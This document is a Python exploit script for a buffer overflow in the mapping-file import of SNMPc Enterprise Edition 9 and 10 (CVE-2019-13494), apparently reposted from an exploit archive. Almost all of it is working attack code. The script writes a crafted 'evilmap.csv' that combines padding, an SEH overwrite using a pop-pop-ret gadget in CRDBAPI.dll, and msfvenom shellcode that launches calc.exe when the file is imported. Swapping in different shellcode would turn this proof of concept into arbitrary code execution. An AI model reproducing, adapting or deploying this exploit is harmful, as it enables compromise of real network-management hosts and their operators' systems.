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SNMPc Enterprise Edition 9/10 - Mapping Filename Buffer Overflow Exploit
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#!/usr/bin/python # -*- coding: utf-8 -*- #--------------------------------------------------------------------# # Exploit: SNMPc Enterprise Edition (9 & 10) (Mapping File Name BOF) # # Date: 11 July 2019 # # Exploit Author: @xerubus | mogozobo.com # # Vendor Homepage: https://www.castlerock.com/ # # Software Linke: https://www.castlerock.com/products/snmpc/ # # Version: Enterprise Editioin 9 & 10 # # Tested on: Windows 7 # # CVE-ID: CVE-2019-13494 # # Full write-up: https://www.mogozobo.com/?p=3534 # #--------------------------------------------------------------------# import sys, os os.system('clear') print("""\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -= SNMPc_Mapping_BOF by @xerubus =- | D _]/\ \ -= We all have something to hide =- \___/ / /\ \\ (_ )( _) @Xerubus """) filename="evilmap.csv" junk = "A" * 2064 nseh = "\xeb\x07\x90\x90" # short jmp to 0018f58d \xeb\x07\x90\x90 seh = "\x05\x3c\x0e\x10" # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll) # Pre-padding of mapping file. Note mandatory trailing character return. pre_padding = ( "Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password" "\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n" "\"") # Post-padding of mapping file. Note mandatory trailing character return. post_padding = ( "\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n") # msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c shellcode = ( "\xda\xcc\xd9\x74\x24\xf4\xba\xd9\xa1\x94\x48\x5f\x2b\xc9\xb1" "\x31\x31\x57\x18\x83\xc7\x04\x03\x57\xcd\x43\x61\xb4\x05\x01" "\x8a\x45\xd5\x66\x02\xa0\xe4\xa6\x70\xa0\x56\x17\xf2\xe4\x5a" "\xdc\x56\x1d\xe9\x90\x7e\x12\x5a\x1e\x59\x1d\x5b\x33\x99\x3c" "\xdf\x4e\xce\x9e\xde\x80\x03\xde\x27\xfc\xee\xb2\xf0\x8a\x5d" "\x23\x75\xc6\x5d\xc8\xc5\xc6\xe5\x2d\x9d\xe9\xc4\xe3\x96\xb3" "\xc6\x02\x7b\xc8\x4e\x1d\x98\xf5\x19\x96\x6a\x81\x9b\x7e\xa3" "\x6a\x37\xbf\x0c\x99\x49\x87\xaa\x42\x3c\xf1\xc9\xff\x47\xc6" "\xb0\xdb\xc2\xdd\x12\xaf\x75\x3a\xa3\x7c\xe3\xc9\xaf\xc9\x67" "\x95\xb3\xcc\xa4\xad\xcf\x45\x4b\x62\x46\x1d\x68\xa6\x03\xc5" "\x11\xff\xe9\xa8\x2e\x1f\x52\x14\x8b\x6b\x7e\x41\xa6\x31\x14" "\x94\x34\x4c\x5a\x96\x46\x4f\xca\xff\x77\xc4\x85\x78\x88\x0f" "\xe2\x77\xc2\x12\x42\x10\x8b\xc6\xd7\x7d\x2c\x3d\x1b\x78\xaf" "\xb4\xe3\x7f\xaf\xbc\xe6\xc4\x77\x2c\x9a\x55\x12\x52\x09\x55" "\x37\x31\xcc\xc5\xdb\x98\x6b\x6e\x79\xe5") print "[+] Building payload.." payload = "\x90" * 10 + shellcode print "[+] Creating buffer.." buffer = pre_padding + junk + nseh + seh + payload + "\x90" * 10 + post_padding print "[+] Writing evil mapping file.." textfile = open(filename , 'w') textfile.write(buffer) textfile.close() print "[+] Done. Import evilmap.csv into SNMPc and A Wild Calc Appears!\n\n" # 0day.today [2024-12-25] #